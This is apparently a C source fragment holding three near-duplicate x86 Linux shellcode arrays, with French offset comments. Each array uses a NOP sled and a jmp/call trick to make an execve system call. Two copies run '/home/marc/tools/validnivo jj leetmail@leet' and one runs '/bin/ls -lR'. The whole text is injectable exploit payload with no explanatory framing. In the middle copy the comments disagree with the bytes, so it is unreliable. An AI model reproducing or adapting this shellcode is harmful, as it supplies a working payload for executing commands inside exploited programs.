char shellcode[] = "\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x31" // jump callme "\x5e" "\x89\x76\x70" // *argv = /bin/sh "\x8d\x46\x1b" // +3: lea 1b(%esi), %eax // 1b=offset du nick "\x89\x46\x74" // +3: mov %eax, 74(%esi) "\x8d\x46\x1e" // +3: lea 1e(%esi), %eax // 1e=offset du mail "\x89\x46\x78" // +3: mov %eax, 78(%esi) "\x31\xc0" "\x88\x46\x1a" // z-terminate exe "\x88\x46\x1d" // +3: z-terminate nick "\x88\x46\x2b" // +3: z-terminate mail "\x89\x46\x7c" // *envp = 0 "\xb0\x0b" "\x89\xf3" "\x8d\x4e\x70" // argv= "\x8d\x56\x7c" // envp= "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xca\xff\xff\xff" // call back "/home/marc/tools/validnivo jj leetmail@leet "; // 0123456789abcdef0123456789abcdef0123456789abc char shellcode[] = "\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x31" // jump callme "\x5e" "\x89\x76\x70" // *argv = /bin/sh "\x8d\x46\x08" // +3: lea 1b(%esi), %eax // 1b=offset du nick "\x89\x46\x74" // +3: mov %eax, 74(%esi) "\x8d\x46\x1e" // +3: lea 1e(%esi), %eax // 1e=offset du mail "\x89\x46\x7c" // +3: mov %eax, 78(%esi) "\x31\xc0" "\x88\x46\x07" // z-terminate exe "\x88\x46\x0b" // +3: z-terminate nick "\x88\x46\x0b" // +3: z-terminate mail "\x89\x46\x78" // *envp = 0 "\xb0\x0b" "\x89\xf3" "\x8d\x4e\x70" // argv= "\x8d\x56\x78" // envp= "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xca\xff\xff\xff" // call back "/bin/ls -lR "; // 0123456789abc char shellcode[] = "\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x31" // jump callme "\x5e" "\x89\x76\x70" // *argv = /bin/sh "\x8d\x46\x1b" // +3: lea 1b(%esi), %eax // 1b=offset du nick "\x89\x46\x74" // +3: mov %eax, 74(%esi) "\x8d\x46\x1e" // +3: lea 1e(%esi), %eax // 1e=offset du mail "\x89\x46\x78" // +3: mov %eax, 78(%esi) "\x31\xc0" "\x88\x46\x1a" // z-terminate exe "\x88\x46\x1d" // +3: z-terminate nick "\x88\x46\x2b" // +3: z-terminate mail "\x89\x46\x7c" // *envp = 0 "\xb0\x0b" "\x89\xf3" "\x8d\x4e\x70" // argv= "\x8d\x56\x7c" // envp= "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xca\xff\xff\xff" // call back "/home/marc/tools/validnivo jj leetmail@leet "; // 0123456789abcdef0123456789abcdef0123456789abc